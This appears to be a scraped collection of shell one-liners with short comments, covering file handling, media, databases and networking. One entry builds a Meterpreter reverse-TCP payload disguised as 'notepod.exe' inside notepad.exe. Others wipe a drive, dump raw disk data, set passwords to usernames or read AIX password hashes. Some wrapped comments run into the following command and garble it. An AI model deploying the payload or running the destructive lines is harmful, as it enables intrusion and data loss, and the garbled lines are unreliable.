# concatenate compressed and uncompressed logs
zgrep -h "" `ls -tr access.log*`
# Purge configuration files of removed packages on debian based systems
dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P
# Random IPv4 address
perl -le '$,=".";print map int rand 256,1..4'
# Create a false directory structure for testing your commands
for each in /usr/bin/*; do echo $each | sed 's/\/usr\/bin\///' | xargs touch; done
# easy C shell math calculators
alias calc 'echo "scale=4;\!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l'
# Make a statistic about the lines of code
find . -type f -name "*.c" -exec cat {} \; | wc -l
# postgresql SQL to show count of ALL tables (relations) including relation-size
SELECT relname, reltuples, pg_relation_size(relname) FROM pg_class r JOIN pg_namespace n ON (relnamespace = n.oid) WHERE relkind = 'r' AND n.nspname = 'public' ORDER BY relname;
# Pass the proxy server address as a prefix to wget
http_proxy=<proxy.server:port> wget <url>
# Gets the english pronunciation of a phrase
say() { local IFS=+;mplayer "http://translate.google.com/translate_tts?q=$*"; }
# tar via network
tar cfX - exclude_opt_weblogic . | ssh tmp-esxsb044 "cd /opt/weblogic ; tar xf -"
# Find and copy files from subdirectories to the current directory
find ./ -iname '*avi' -exec cp {} ./ \;
# Show a listing of open mailbox files (or whatever you want to modify it to sho
w)lsof | grep "/var/spool/mail/"
# Resume an emerge, and keep all object files that are already built
FEATURES=keepwork emerge --resume
# rename a file to its md5sum
md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done
# Copy recursivelly files of specific filetypes
rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' <sourcedir> <destdir>
# finding cr-lf files aka dos files with ^M characters
find . -type f -exec fgrep -l $'\r' "{}" \;
# Find duplicate files, using sha1 hash
for i in $(find . -type f -exec sha1 -r {} \+ |tee .hashes.tmp |awk '{print $1}' |sort |uniq -d); do grep $i .hashes.tmp; echo; done;
# auto terminal title change
echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"
# Extract icons from windows exe/dll
wrestool -x --output . -t14 /path/to/your-file.exe
# Change timestamp on a file
touch -amct [[CC]YY]MMDDhhmm[.ss] FILE
# Get table column names from an MySQL-database in comma-seperated form
mysql -u<user> -p<password> -s -e 'DESCRIBE <table>' <database> | tail -n +1 | awk '{ printf($1",")}' | head -c -1
# perl insert character on the first line on your file
perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing
# Use tagged vlans
sudo vconfig add eth0 [VID]
# ignore .DS_Store forever in GIT
echo .DS_Store >> ~/.gitignore
# Create a tar of directory structure only
find . -type d|xargs tar rf ~/dirstructure.tar --no-recursion
# return a titlecased version of the string
title() { string=( $@ ); echo ${string[@]^} }
# count the appearance of a word or a string in a given webpage
wget -q -O- PAGE_URL | grep -o 'WORD_OR_STRING' | wc -w
# badblocks for floppy
/sbin/badblocks -v /dev/fd0 1440
# show last revision log on svn update
svn up | sed 's/\.//g' | cut -d ' ' -f3 | xargs svn log -r
# See multiple progress bars at once for multiple pipes with pv
pv -cN orig < foo.tar.bz2 | bzcat | pv -cN bzcat | gzip -9 | pv -cN gzip > foo.tar.gz
# Remove all the files except abc in the directory
rm ^'name with spaces'
# dhcdrop - testing/suppression/tracking false DHCP servers
sudo dhcdrop -i eth1 -y -l 00:11:22:33:44:55
# Compress archive(s) or directory(ies) and split the output file
rar a -m5 -v5M -R myarchive.rar /home/
# Limit the rate of traffic to a particular address with tc.
tc qdisc add dev <dev> root handle 1: cbq avpkt 1000 bandwidth 100mbit;tc class add dev <dev> parent 1: classid 1:1 cbq rate 300kbit allot 1500 prio 5 bounded isolated;tc filter add dev <dev> parent 1: protocol ip prio 16 u32 match ip dst <ip> flowid 1:1
# How To Get the Apache Document Root
awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default
# Countdown Clock
MIN=10 && for i in $(seq $(($MIN*60)) -1 1); do printf "\r%02d:%02d:%02d" $((i/3600)) $(( (i/60)%60)) $((i%60)); sleep 1; done
# Set keyboard layout in X
setxkbmap it
# Show seconds since modified of newest modified file in directory
FILE=`ls -ltr /var/lib/pgsql/backups/daily/ | tail -n1 | awk '{print $NF}'`; TIME=`stat -c %Y /var/lib/pgsql/backups/daily/$FILE`; NOW=`date +%s`; echo $((NOW-TIME))
# List of countries
curl -s http://www.infoplease.com/countries.html | grep "<td" | grep ipa | sed -e 's#html">#\n#g' | cut -f 1 -d\< | grep -v "^\ \ *$"
# Automagically create a /etc/hosts file based on your DHCP list (only works on
Linksys WRT54G router)curl -s -u $username:$password http://192.168.1.1/DHCPTable.htm | grep '<td>.* </td>' | sed 's|\t<td>\(.*\) </td>\r|\1|' | tr '\n' ';' | sed 's/\([^;]*\);\([^;]*\);/\2\t\1\n/g'
# sorted list of dhcp allocations
grep ^lease /var/lib/dhcp/dhcpd.leases | cut -d ' ' -f 2 | sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n | uniq
# Stream and save Youtube video
wget `youtube-dl -g 'http://www.youtube.com/watch?v=-S3O9qi2E2U'` -O - | tee -a parachute-ending.flv | mplayer -cache 8192 -
# Show seconds since modified of newest modified file in directory
ls -atr /home/reports/*.csv -o --time-sty=+%s | tail -1 | awk '{print systime()-$5}'
# Remove old kernels and header data in Ubuntu/Debian
sudo apt-get -y purge $(dpkg --get-selections | awk '((/^linux-/) && (/[0-9]\./) && (!/'"`uname -r | sed "s/-generic//g"`"'/)) {print $1}')
# How many world writeable files on your system? (Mandriva Linux msec)
# wc -l /var/log/security/writable.today
# Transfer Entire recursive from one host to another. Only copies files that are
newer or do not existrsync -azE -e "ssh -pPortnumber" src_dir user@hostB:dest_dir
# umount sshfs mounted directory
fusermount -u ~/sshfs_mounted_directory
# Title Case Files
rename 's/(^|[\s\(\)\[\]_-])([a-z])/$1\u$2/g' *
# Key binding to search commandlinefu.com
function ds { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k"':"\"ds\C-m\""
# Title Case Files
rename 's/\b([a-z])/\u$1/g' *
# Count lines using wc.
wc -l file.txt
# decompiler for jar files using jad
unjar () { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm -r /tmp/unjar/$1 ; }
# print all paragraphs containing string
cat file1 file2|awk -v RS='paragraph delimiter' '{print $0"\n"}'|sed -e '/./{H;$!d;}' -e 'x;/string to search/!d;'
# Play a stream and give back the shell
wget http://somesite.com/somestream.pls; cvlc somestream.pls&sleep 5; rm somestream.pls*
# print all characters of any file in human readble form using hexdump
hexdump -c <file>
# create SQL-statements from textfile with awk
for each in `cut -d " " -f 1 inputfile.txt`; do echo "select * from table where id = \"$each\";"; done
# Recursively remove all empty directories
find . -type d | tac | xargs rmdir 2> /dev/null
# download with checksum
wget -qO - http://www.google.com | tee >(md5sum) > /tmp/index.html
# uncomment the lines where the word DEBUG is found
sed 's/^#\(.*DEBUG\)/\1/' $FILE
# print offsets of file disk for losetup/loop-mount
/sbin/parted -m /dev/sdX unit b print | grep '^[1234]' | sed 's/:/ --offset=/; s/B:[[:digit:]]*B:/ --sizelimit=/; s/B:/ [/; s/:.*/]/'
# search the pattern from bzip2'ed file
bzgrep -i "pattern" pattern.bz2
# Convert man page to PDF
man -Tps ls >> ls_manpage.ps && ps2pdf ls_manpage.ps
# Count repeated lines, listing them in descending order of frequency
LC_ALL=C sort file | uniq -c | sort -n -k1 -r
# Legacy MacOS to Unix text convert using perl
perl -i -pe 's/\r/\n/g' file
# ARP Scan
if [ -x /sbin/arping ] ; then for i in {1..255} ; do echo arping 10.1.1.$i ; arping -c 1 10.1.1.$i | grep reply ; done ; fi
# IP:PORT to IP:PORT:COUNTRY using geoiplookup
for IP in `cat ip.txt|awk -F: '{print $1}'`; do geoiplookup -f /usr/local/share/GeoIP/GeoIP.dat $IP|awk -F, '{print $2}'>>out.txt; done; paste -d ":" ip.txt out.txt>zoom.txt
# Batch resize image to exact given resolution ignoring aspect ratio
mogrify -resize 600x800! *.jpg
# Schedule a script or command in x num hours, silently run in the background ev
en if logged outecho "nohup command rm -rf /phpsessions 1>&2 &>/dev/null 1>&2 &>/dev/null&" | at now + 3 hours 1>&2 &>/dev/null
# Merge - Concate MP3 files
sox *.mp3 -t wavpcm - | lame - > bunch.mp3
# Cd Deluxe - improved cd command for *nix and windows
cdd [NAMED_OPTIONS] [FREEFORM_OPTIONS]
# Compile a latex doc to generate index
ruby -e " 3.times { system 'pdflatex mydoc.tex' } "
# Download full FLAC albums from archive.org
wget -rc -A.flac --tries=5 http://archive.org/the/url/of/the/album
# Remount an already-mounted filesystem without unmounting it
mount -o remount,ro /dev/foo /
# Run last history entry based on a given command
![command]
# Grep across a directory and open matching files in vim (one tab per file)
vim -p `grep -r PATTERN TARGET_DIR | cut -f1 -d: | sort | uniq | xargs echo -n`
# Convert windows text file to linux text document
tr -d "\r" < dos.txt > linux.txt
# encode HTML entities
perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt
# Puts every word from a file into a new line
awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE > OUTPUT_FILE
# A DESTRUCTIVE command to render a drive unbootable
badblocks -vfw /dev/fd0 10000 ; reboot
# Partition a new disk as all one partition tagged as "LInux LVM"
echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX
# Change the default Catfish file manager and search method
catfish --fileman=nautilus --path=/home/<username> --hidden --method=find
# Using commandoutput as a file descriptor
diff rpm_output_from_other_computer <(rpm -qa|sort)
# Command to build one or more network segments - with while
seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done; }
# remove at jobs
atrm $(atq|cut -f1)
# Get a count of how many file types a project has
printf "\n%25s%10sTOTAL\n" 'FILE TYPE' ' '; for ext in $(find . -iname \*.* | egrep -o '\.[^[:space:].]+$' | egrep -v '\.svn*' | sort -f | uniq -i); do count=$(find . -iname \*$ext | wc -l); printf "%25s%10s%d\n" $ext ' ' $count; done
# Random mrxvt background
LIST="/some/pic/file /another/picture /one/more/pic"; PIC=$(echo $LIST | sed s/"\ "/"\n"/g | shuf | head -1 | sed s/'\/'/'\\\/'/g ); sed -i s/Mrxvt.Pixmap:.*/"Mrxvt.Pixmap:\t$PIC"/ ~/.mrxvtrc
# mplayer all flash videos being streamed in Chromium
mplayer $(ls -l /proc/$(pgrep -f flash)/fd/* |grep Flash | cut -d" " -f8)
# Convert phone book VCARD to text
tr -d "\r" < file.vcf | tr "\0" " " > file.vcf.txt
# Creates a customized search command
alias cr='find . 2>/dev/null -regex '\''.*\.\(c\|cpp\|pc\|h\|hpp\|cc\)$'\'' | xargs grep --color=always -ni -C2'
# Alias for displaying a process tree nicely
alias pst='pstree -Alpha'
# Command to build one or more network segments - with for
seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done }
# force change password for all user
while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd
# Viewing Top Processes according to cpu, mem, swap size, etc.
command ps wwo pid,user,group,vsize:8,size:8,sz:6,rss:6,pmem:7,pcpu:7,time:7,wchan,sched=,stat,flags,comm,args k -vsz -A|sed -u '/^ *PID/d;10q'
# Greets the user appropriately
echo -e "12 morning\n15 afternoon\n24 evening" |awk '{if ('`date +%H`'<$1) {print "Good "$2;exit}}'
# Posts a file to sprunge.us and copies the related url to the clipboard
sprunge () { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard && xclip -selection clipboard -o; }
# Restore permissions or ownership from a backup directroy
for x in `find /dir_w_wrong_ownership/`; do y=`echo "$x" | sed 's,/dir_w_wrong_ownership/,/backup_dir/,'`; chown --reference $y $x; done;
# the executable that started the currently running oracle databases and the ORA
CLE_HOME relative to eachps -ef |grep oracle |grep pmon |awk '{print $2}' |xargs -I {} ps eww {} |grep pmon |grep -v grep |awk '{print $5 " " $6 " " $0}' |sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' |cut -f1,2,3 -d" "
# Play files with mplayer, including files in sub-directories, and have keyboard
shortcuts workmplayer -playlist <(find $PWD -type f)
# Iterate through screens
for pid in `screen -ls | grep -v $STY | grep tached | awk '{print $1;}' | perl -nle '$_ =~ /^(\d+)/; print $1;'`; do screen -x $pid; done
# Find all relevant certificates (excluding some dirs) and list them each
for crt in $(locate -r '.+\.crt' | grep -v "/usr/share/ca-certificates/"); do ls -la $crt; done
# Downmix from stereo to mono and play radio stream with mplayer
mplayer -af pan=1:0.5:0.5 -channels 1 radiostream.pls
# Print the list of all files checked out by Perforce SCM
alias opened='p4 opened | awk -F# "{print \$1}"'
# To print a specific line from a file
awk 'FNR==5' <file>
# Get your external IP address
wget -qO - http://www.sputnick-area.net/ip;echo
# Create SSH key exchange from one host to the other
cat ~/.ssh/id_rsa.pub | ssh <remote_host> "xargs --null echo >> ~/.ssh/authorized_keys"
# Play back shell session recorded using the
(IFS=; sed 's/^[]0;[^^G]*^G/^M/g' <SessionLog> | while read -n 1 ITEM; do [ "$ITEM" = "^M" ] && ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo)
# Summarize total storage used by files obtained by a find command
find /path/to/archive/?/??/??? -mtime -7 -name "*.pdf" | xargs stat -c "%s"| awk '{sum +=$1}END{printf("%0.0f\n",sum)}'|sed -r ':Label;s=\b([0-9]+)([0-9]{3})\b=\1,\2=g;t Label'
# generate random password (works on Mac OS X)
env LC_CTYPE=C tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10
# Compress all .txt files to .txt.ta.gz and remove the original .txt
for i in "*.txt"; do tar -c -v -z -f $i.tar.gz "$i" && rm -v "$i"; done
# grep for a list of values and list matching values NOT matching lines each tim
e they matchgoo some things you search for < file
# Display PHP files that directly instantiate a given class
find . -name "*.php" -exec grep \-H "new filter_" {} \;
# Revert back all files currently checked out by Perforce SCM for edit
ropened='p4 opened | awk -F# "{print \$1}" | p4 -x - revert'
# Generate Files with Random Content and Size in Bash
no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]]; do echo Creating file no $counter; dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter; let "counter += 1"; done
# List your Boxee queue
curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/description | awk -F= '{print $2}'
# diff recursively, ignoring CVS control files
diff -x "*CVS*" -r <path-1> <path-2> [<path-3>]
# Show directory sizes, refreshing every 2s
watch 'find -maxdepth 1 -mindepth 1 -type d |xargs du -csh'
# intersection of two arrays
Array1=( "one" "two" "three" "four" "five" );Array2=( "four" "five" "six" "seven" );savedIFS="${IFS}";IFS=$'\n';Array3=($(comm -12 <(echo "${Array1[*]}" |sort -u) <(echo "${Array2[*]}" | sort -u)));IFS=$savedIFS
# Simplest way to get size (in bytes) of a file
wc -c <filename
# Decompress all .tar.gz files and remove the compressed .tar.gz
for i in *.tar.gz; do tar -x -v -z -f $i && rm -v $i; done
# Perl check if library is installed
perl -e "use SOAP::Lite"
# Check if you need to run LaTeX more times to get the refefences right
egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)" texfile.log
# Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil animation)
, from the current directory with mencodermencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi
# Show sorted list of files with sizes more than 1MB in the current dir
find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2
# show tcp syn packets on all network interfaces
tcpdump -i any -n tcp[13] == 2
# Count and show duplicate file names
find . -type f |sed "s#.*/##g" |sort |uniq -c -d
# print all characters of a file using hexdump
xxd <file>
# log your PC's motherboard and CPU temperature along with the current date
date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>> datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log
# Edit a file in vim (at the first error) if it is not well formed xml.
vimlint(){ eval $(xmllint --noout "$1" 2>&1 | awk -F: '/parser error/{print "vim \""$1"\" +"$2; exit}'); }
# Show a config file without comments
sed -e 's/#.*//;/^\s*$/d'
# touch every file in current folder and subfolder
find . -type f -exec touch "{}" \;
# Get the version of sshd on a remote system
ssh -vN hostname 2>&1 | grep "remote software version"
# count and number lines of output, useful for counting number of matches
ps aux | grep [h]ttpd | cat -n
# Create unique email addresses directly from the US census site*Full command in
commentspaste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cut -d " " -f 1 | sort -uR) <(curl http://..../dist.all.last | cut -d " " -f 1 | sort -R | head -5163) | tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g'
# find the device when you only know the mount point
df -P | awk '$6=="/media/KINGSTON" {print $1}'
# map a command over a list of files - map-files /lib *.so ls -la
function map-files() { find $1 -name $2 -exec ${@:3} {} \; }
# use md5sum -c recursively through subdirectory tree when every directory has i
ts own checksum filefor i in $(find . -name *md5checksum_file* | sed 's/\(\.\/.*\)md5checksum_file.txt/\1/'); do cd "$i"; md5sum -c "md5checksum_file.txt"; cd -; done | tee ~/checksum_results.txt | grep -v "<current directory>"
# Export/Backup a PostgreSQL database
pg_dump -U postgres [nomeDB] > db.dump
# run vmware virtual machine from the command line without the gui or X session
vmrun start /path/to/virtual_machine.vmx nogui
# Get Futurama quotations from slashdot.org servers
curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p'
# Show a config file without comments
grep -v ^# /etc/somefile.conf | grep .
# prips can be used to print all IP addresses of a specified range.
prips
# Capitalize first letter of each word in a string
echo 'fOo BaR' | ruby -e "p STDIN.gets.split.map(&:capitalize).join(' ')"
# Remove blank lines from a file
grep -v "^$" file
# Remove an old gmetric statistic
gmetric -n $METRIC_NAME -v foo -t string -d 10
# get a list of running virtual machines from the command line (vmware)
vmrun list
# bash glob dot-files
shopt -s dotglob
# Linux zsh one-liner to Determine which processes are using the most swap space
currentlyfor i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr
# List only directories, one per line
ls -l | grep ^d | sed 's:.*\ ::g'
# number the line of a file
cat -n file or cat -b file
# Find unused IPs on a given subnet
nmap -sP <subnet>.* | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt ; for IP in {1..254} ; do echo "<subnet>.${IP}" ; done >> results.txt ; cat results.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -u
# Skip banner on ssh login prompt
ssh -q user@server
# convert a string of hex characters into ascii chars
echo $hex | perl -pe 's/(..)/chr(hex($1))/ge'
# Print time and year of file in Solaris (or other Unix ls command that does not
have a simple "--full-list")perl -e '@F = `ls -1`;while (<@F>){@T = stat($_);print "$_ = " . localtime($T[8]) . "\n";}'
# List all broadcast addresses for the routes on your host.
for net in $(ip route show | cut -f1 -d\ | grep -v default); do ipcalc $net | grep Broadcast | cut -d\ -f 2; done
# umount --rbind mount with submounts
cat /proc/mounts | awk '{print $2}' | grep "^$MOUNTPOINT" | sort -r | xargs umount
# List only directories, one per line
find . -maxdepth 1 -mindepth 1 -type d -printf "%f\n"
# download all jpg in webpage
wget http://www.site.com/ -O- | grep -o 'http://.*jpg' | sort -u | wget -i-
# Check the last 15 package operations (on yum systems)
tail -n 15 /var/log/yum.log | tac
# Replace words with sed
sed /BEGIN/,/END/s/xxx/yyy/g input.txt
# Frequency Sweep
l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done
# skipping five lines, at top, then at bottom
seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5
# Add another tty device using mknod command
sudo mknod /dev/ttyS4 c 4 68
# Remove blank lines from a file using grep and save output to new file
grep -v "^$" filename > newfilename
# Convert Windows/DOS Text Files to Unix
flip -u <filenames>
# AIX : reset aixuser password lastupdate to now using perl
perl -e '$now=time; system "chsec -f /etc/security/passwd -s aixuser -a \"lastupdate=$now\""'
# Read AIX local user encripted password from /etc/security/passwd
user=an_user awk "/^$user:\$/,/password =/ { if (\$1 == \"password\") { print \$3; } }" < /etc/security/passwd
# lsof - cleaned up for just open listening ports, the process, and the owner of
the processlsof -iTCP -sTCP:LISTEN
# Extracting the audio part of a track as a wav file
mplayer -vc null -vo null -ao pcm <filename>
# change to the selected directory for zsh users
alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"'
# View the octal dump of a file
od -vt x1 /tmp/spaghettifile
# Report What Tape is in Autoloader Mailslot (using Barcode Label)
mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63
# Print time and year of file in Solaris (or other Unix ls command that does not
have a simpleperl -e 'foreach (@ARGV) {@T=stat($_); print localtime($T[8])." - ".$_."\n"}'
# Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do echo "### $line "; unzip -l $line; done | grep "^###\|you-string" |less
# number files in directory according to their modification time
IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $(echo "$i"."$f"); ((i++)); done
# check apache2 status with a lot of details
apachectl fullstatus
# Command to import Mysql database with a progress bar.
pv -t -p /path/to/sqlfile.sql | mysql -uUSERNAME -pPASSWORD -D DATABASE_NAME
# Check remote hosts server
curl -Is http://www.google.com | grep -E '^Server'
# send files via ssh-xfer
cat somefilehere.txt | ssh-xfer nametocallfile.txt -
# Search gdb help pages
gdb command: apropos <keyword>
# Check syntax of all PHP files before an SVN commit
for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ ! -d $i ] ; then php -l $i ; fi ; done
# Overwrite local files from copies in a flat directory, even if they're in a di
fferent directory structurefor f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n "$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done
# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 1)
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0
# cat a config file removing all comments and blank lines
grep -vh '^[[:space:]]*\(#\|$\)' <file>
# Add a list of numbers
echo $((1+2+3+4))
# Generat a Random MAC address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 |sed '2d;s/^0\+ //;s/ /:/g'
# Get Stuff.
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
# Serve one or more git repositories
git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos
# Show current folder permission recursively from /, useful for debugging ssh ke
y permissionpushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null
# Sometimes you just want a quick way to find out if a certain user account is l
ocked [Linux].awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done
# Remove comments and empty lines from a file
grep -v '^#\|^$' /etc/hdparm.conf
# delete all trailing whitespace from each line in file
sed 's/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>
# strip non-constant number of directories from tar archive while decompressing
tar --transform 's#.*/\([^/]*\)$#\1#' -xzvf test-archive.tar.gz
# urldecoding
ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' | xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x
# kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi
# Grabs Open Files and Then Greps Them
lsof | grep "stuff"
# svn diff $* | colordiff | lv -c
svn diff $* | colordiff | lv -c
# Sometimes you just want a quick way to find out if a certain user account is l
ocked [Linux].getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo "$a not locked"; done
# Averaging columns of numbers
function avg { awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines: %f\n\", lc, sum/lc}"; }
# Show all Storage Repositories on XenServer
xe sr-list
# Create the directoty recursively
mkdir /home/dhinesh/dir1/{dir2,dir3,dir4}/file1.txt -p
# Check if SSL session caching is enabled on Google
gnutls-cli -V -r www.google.com |grep 'Session ID'
# find . -name "*.txt" | xargs sed -i "s/old/new/"
find . -name "*.txt" | xargs sed -i "s/old/new/"
# Set the master volume to 90% (Ubuntu)
aumix -v 90
# Sometimes you just want a quick way to find out if a certain user account is l
ocked [Linux].getent shadow | grep '^[^:]\+:!' | cut -d: -f1
# Get IPv4 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet addr:' | awk {'print $2'} | sed 's/addr://'
# delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>
# Make sure your script runs with a minimum Bash version
if [ -z "${BASH_VERSINFO}" ] || [ -z "${BASH_VERSINFO[0]}" ] || [ ${BASH_VERSINFO[0]} -lt 4 ]; then echo "This script requires Bash version >= 4"; exit 1; fi
# Randomize lines (opposite of | sort)
cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print $line; }}'
# List bash functions defined in .bash_profile or .bashrc
set | fgrep " ()"
# erase next word
ALT + d
# cat large file to clipboard
cat large.xml | xclip
# Make all GUI stuff show up on the display connected to the computer (when you'
re logged in via SSH)DISPLAY=:0.0; export DISPLAY
# Stop your screen saver interrupting your mplayer sessions
maxplayer (){ while :; do xte 'mousermove -4 20'; sleep 1s; xte 'mousermove 4 -20'; sleep 2m; done& mplayer -fs "$1"; fg; }
# Get sunrise time for any city, by name
sunrise() { city=${1-Seattle}; w3m "google.com/search?q=sunrise:$city" | sed -r '1,/^\s*1\./d; /^\s*2\./,$d; /^$/d' ;}
# Copy ssh keys to user@host to enable password-less ssh logins.
ssh-keygen ptaduri@c3pusas1
# Create and encode a reverse tcp meterpreter payload with shikata_ga_nai.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -e x86/shikata_ga_nai -i 5 -f exe -x ~/notepad.exe -k > notepod.exe
# Watch changeable interrupts continuously
watch -n1 'cat /proc/interrupts
# p is for pager
p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;; r) echo "${_pg[*]:_pgn:$((l-4))}";; d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}-l+4:_pgn )); p r;; u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; }
# Set user passwords to username from partial password file
awk -F: '{print "echo "$1" | passwd --stdin "$1}' passwd
# View latest apache access log
view `ls -1 access_log.* | tail -n 1`
# Batch image resize
for a in `ls`; do echo $a && convert $a -resize <Width>x<Height> $a; done
# Find duplicate dir in path
echo $PATH|tr : '\n'|sort|uniq -d
# display embeded comments for every --opt, usefull for auto documenting your sc
riptvim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0
# Extract every parted-files which had the same password
find . -name '*.part1.rar' -exec unrar e \{\} -pPASSWORD \;
# Discover unoptimized MySQL tables and optimize them.
for table in $(echo "select concat(TABLE_SCHEMA, '.', TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA NOT IN ('information_schema','mysql') and Data_free > 0" | mysql --skip-column-names); do echo "optimize table ${table}" | mysql; done;
# Find out how to say the first 66 digits of pi as a word
pi 66 | number
# Puts every word from a file into a new line
sed -r 's/[ \t\r\n\v\f]+/\^J/g' INFILE > OUTFILE
# Change your e-mail address in multiple files
sed -i 's/[email protected]/[email protected]/g' `grep [email protected] -rl .`
# Capture and re-use expensive multi-line output in shell
OUTPUT="`find / -type f`" ; echo "$OUTPUT" | grep sysrq ; echo "$OUTPUT" | grep sysctl ; echo "$OUTPUT" | less
# Show the parents of all block devices with udevadm(1)
for i in $(find /dev/ -type b) ; do ( udevadm info -a -p $(udevadm info -q path -n $i) ) ; done
# Dump an rpm's package details (besides the files)
rpm --querytags | egrep -v HEADERIMMUTABLE | sort | while read tag ; do rpm -q --queryformat "$tag: [%{$tag} ]\n" -p $SomeRPMfile ; done
# Get details about all fibre cards with udevadm(1)
for i in /sys/class/fc_host/* ; do ( udevadm info -a -p $i ) ; done
# infile search and replace on N files
perl -pi -e's/foo/bar/g' file1 file2 fileN
# Fibonacci numbers with awk
awk 'BEGIN {a=1;b=1;for(i=0;i<'${NUM}';i++){print a;c=a+b;a=b;b=c}}'
# StopWatch, OnScreen version, blinking shily on all desktops
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom'
# Cleanly quit KDE4 apps
kbuildsycoca4 && kquitapp plasma-desktop && kstart plasma-desktop
# add a particular track to a playlist by looking for a part of its file name
